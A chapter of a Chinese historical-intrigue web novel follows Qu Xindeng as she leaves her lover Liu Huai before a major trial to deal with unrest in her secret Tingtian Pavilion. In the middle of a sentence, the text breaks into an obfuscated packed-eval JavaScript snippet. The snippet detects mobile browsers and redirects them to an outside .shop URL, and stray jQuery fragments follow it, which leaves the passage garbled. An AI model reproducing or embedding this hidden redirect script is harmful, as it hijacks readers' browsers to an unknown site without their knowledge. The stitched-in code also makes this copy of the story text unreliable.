第二日瞿心灯醒的时候,柳淮就躺在身侧,一手圈着他的腰,将脸埋在她的颈侧。胸口的衣襟微微敞开,露出大片裸露的肌肤、深深浅浅的瘢痕和流畅的曲线。
瞿心灯眯着眼睛欣赏了半刻,便披衣起身了。本不想惊动柳淮,却不想她几乎只是动了动胳膊,柳淮的眼睛便瞬间睁开了。一双黑色的眼睛清明、澄澈、执拗。意识回笼得快得让瞿心灯觉得他几乎根本没有睡。
“吵到你了?”瞿心灯抚了抚他的头发。
“姑娘要走?”柳淮的声线有些紧绷。
瞿心灯叹了一口气,道:“时间还早,有一些阁子里的琐事。”
她凑近了吻了吻柳淮的唇角。她给襄襄去过信,问了问柳淮的情况,襄襄说心病难医,他身上又有其他的大大小小的伤,故而一时也不好用药干预。他的原话是,柳淮这心病能好多少,全看瞿心灯的良心。
平川之事柳淮心身具受重创,现如今所有心意都牵挂在瞿心灯身上,要是瞿心灯这小兔崽子要是心善,乐意依着些柳淮,同他慢慢调理,总归是会好的。
然而这小兔崽子要是只是一时兴起,后而始乱终弃,说不准这柳边防真寻了挑条江河跳了也未必。
“再睡一会?”瞿心灯揉了揉柳淮的脸,“时间还早,我将公务搬到这边来看,你就靠在我的膝上,你昨夜没有睡好,看你眼下的这一段青黑……”
柳淮摇了摇头,瞿心灯起了身他便紧紧跟着,一时都不分开。她坐在案边看文书,那他就坐在一边为她研墨。生着薄茧的指尖一寸一寸翻过密信,将今日飞使传来的文书拆开,越是往后翻,瞿心灯的脸色便越发黑如锅底。
不知坐了多久,一双骨节分明的手将瞿心灯手中的书抽了出来,然后轻轻蒙住了瞿心灯的眼睛,在她的眉心轻轻揉着。一股淡淡的清香弥漫在瞿心灯笔尖,她抓住了他的手腕,在他手腕内侧轻轻吻了一下。
“姑娘,歇一歇吧。”柳淮见她已然皱着眉头苦思良久,将她手中的书接了下来。
“歇不了了……公淑,大审在即,让替身在哪一处也不是办法,不日将提审你,你也该回京了。”瞿心灯道,揉了揉眉心。
太后的寿辰如今也告一段落,再往后就是大审了。好在现如今证据齐全,又有公主在侧推波助澜,这一次,平川的污名,当是能尽数洗尽。
若是这一次能让太后一党元气大伤,那朝中便只剩下太子和八皇子两党了。至于那个从平川捡回来皇嗣……瞿心灯的眼神暗了暗,那个孩子,从来也不曾被他们找到。
不过是权宜之策,届时那个灰衣使尽可将人皮面具揭下来顺利脱身。
柳淮点了点头。转而便听见瞿心灯道:“如今这边我已经安排妥当,你不必担心,我……要离开一段时间。”
“离开?”柳淮怔愣了一下,手上的动作一时收紧了一些,“我会有很长一段时间见不到姑娘吗?”柳淮靠在她身边,低垂这眼睫。
桌上摊开着一封封的密报,上头的符号应该是听天阁独有的加密的符号,自早晨起瞿心灯看到这些密报的时候眉心就没舒展过,想来是出了什么事情。
“阁子里有一些事情,处理完就回来见你。”瞿心灯重重叹了一口气,把玩着他的发尾,大审在即,她本来应该在此处坐镇。
虽然如今她这个身份这是明氏的庶女,无足轻重。然而在暗处她手上还有偌大一个听天阁,然而听天阁在朝中阁众一千机而动全身,此时大审不能出一点差错。
偏偏这个时候,听天阁后院着火,牵扯出来许许多多事情。先前她的行踪背泄露这件事彻查下来,竟又有牵扯出许多阴司。
这是一桩旧事,更是一桩破事,庙堂之高,江湖之远,谁都拿着双眼神觊觎着这听天阁,不为别的,就为当年一个传言。
据说当年大周开国的时候,高祖皇帝传下来一件稀世之宝,与传国玉玺并重。谁也不知道这玩意儿是什么,只知道这玩意一直都存放在宫室之中。但是,好死不死,这玩意因为几十年前一场宫变丢了——
有人说是被皇室之人藏起来,也有人说是珍宝流入了江湖之中,其中有一个说法,是这宝物几经颠簸最后流入了以“集天下至宝”为名的万宝商会手中,而这个商会,后来被一个据说是听天阁阁主的人端了。
何其荒谬?!
偏偏就是这样空穴来风的事情,真有人信。不只是江湖上的人,还有朝中之人。
柳淮默了片刻,只说全听她的安排,瞿心灯又在他轻颤的内腕轻轻吻了一下:“回来就去见你。我托付了公主保全你的性命,皆是证据齐全,你便随机应变。会没事的,等到你脱罪之后,我带你回我的阁子里头可好?”
于是她有按着柳淮吻了下去。在一起的时间过的过于快了,等大审开始的时候,瞿心灯已经带领手下,到了真正的听天阁子。
*
“京中这么样?今日大审,如何?”瞿心灯一声纹章繁复错落的袍服,靠在乌木座椅上,一手支着头,一手在舆图上指指点点,鬓发之间琳琅的宝珠叮铃作响,有碎玉之声。
瞿夏道:“信鹰刚传回来的消息,一切都还顺利,有相爷上书呈辞,人证物证齐全,再有公主也安排了人手,一直到现在都还顺利。”
“他呢?还有苏家那边,是苏义风检举他通敌叛国,苏家那边怎么说。”
“少主猜得没错,柳公子只是苏义风回京的幌子,他们证据不全,初审之后便可确定柳公子无罪了。”瞿夏又道。
瞿心灯忽而又道:“那批军械的消息放给公主了吗?”
“他们已经知道了。”瞿夏点了点头。
瞿心灯若有所思地点了点头,这件事情便再没有问太多,只叫瞿夏大审一切事宜密切关注。
“师父呢?她现在的下落能知道吗?”说到达天听,瞿心灯眉眼间染上了一些戾气。
瞿夏咽了一口口水
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14152162|144289||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,讪讪道:“我们……还没找到阁主的消息。”
“上一次有她的消息是在哪里?”
“就是在平川找到翎姐姐的时候,自那之后再没有人见过阁主了。”
瞿心灯咬了咬后牙。
“少主你也别太生气,阁主不问事也这么多年了你是知道的……”
瞿心灯更气了。
要是这一桩什么“传国玉玺”的旧事真的只是谣传便算了,可是据瞿心灯对达天听的了解,这玉玺就是不在她那一处,那必然和她有不少的关联。
这么大的事情,她竟是一点也没和她提过。整日混在酒色之中。本来听天阁要死咬死没有这一件玉玺便可解决——江湖之上不至于真的有那么不长眼的来硬碰听天阁,偏偏就是达天听招惹的那些牛鬼蛇神。
阁子里头有她的风流债,阁子外头也有。瞿心灯这些年不知道给她擦了多少回屁股,然而总是有那么些漏网之鱼,风声走漏之后听天阁瞬间成为众矢之的。
朝中之人会使阴招的不必江湖上少,蠢的暗杀,聪明的施压,瞿心灯一面应付这两面的牛鬼蛇神,一面还要动用听天阁在各处的暗桩找人,好几天没睡好觉。
好几处暗桩已经出事了。此时主仆二人身处敦州,今夜有恐夜袭,瞿心灯须亲自坐镇。
“少主,京中的信。”瞿夏掀开帘子从外头进来,手上摞了厚厚一叠的信笺。
瞿心灯茶盏里的浓茶添了一盏又一盏,接过瞿夏手中的信笺,从中准确挑出来明翎的。
“翎姐姐说什么了?”瞿夏侧头问。
瞿心灯叹了一口气:“是一些怨怼……还有泪痕。”
“大审的消息……还好吧?”瞿夏想了想,“不是说已经是将免去了秦将军和柳公子的罪责,平发的诏书应当不日便会昭告天下,平川并非不战而降,郦氏党羽也已经在定罪了……”
哪有这么简单,定罪之后那殉国的九万军民便能够死而复生吗?况且瞿心灯摩挲着腰间锦囊中的一封残笺。平川之败,真的就是这么简单吗?
“没有他的?”瞿心灯在一堆信笺中找了找。
瞿夏道:“没有柳公子的,倒是有一两封许大夫的。”
“哪儿?”
瞿夏支支吾吾道:“单写给我的,提了一些柳公子……”
瞿心灯一挑眉。
“说柳公子身上的伤好得差不多了。他无罪,想来很快便会官复原职,说不定还会因祸得福因而升迁吧?”瞿夏道。
说道此处,瞿心灯指尖点了点桌案,继续一封一封拆开信笺,其中说的倒是比瞿夏说的详细。
平川之役,军民尽衷殉国,前有谣传误判,尽不属实,系妖言惑众,涣散军心。户部尚书被贬,看似郦氏党羽失势朝中,然而此时太后郦氏竟是丝毫不知情,虽不知情,然其自请入承华宫闭门……
一行行一目目看下来,瞿心灯的眉心又皱了起来,这是放虎归山啊。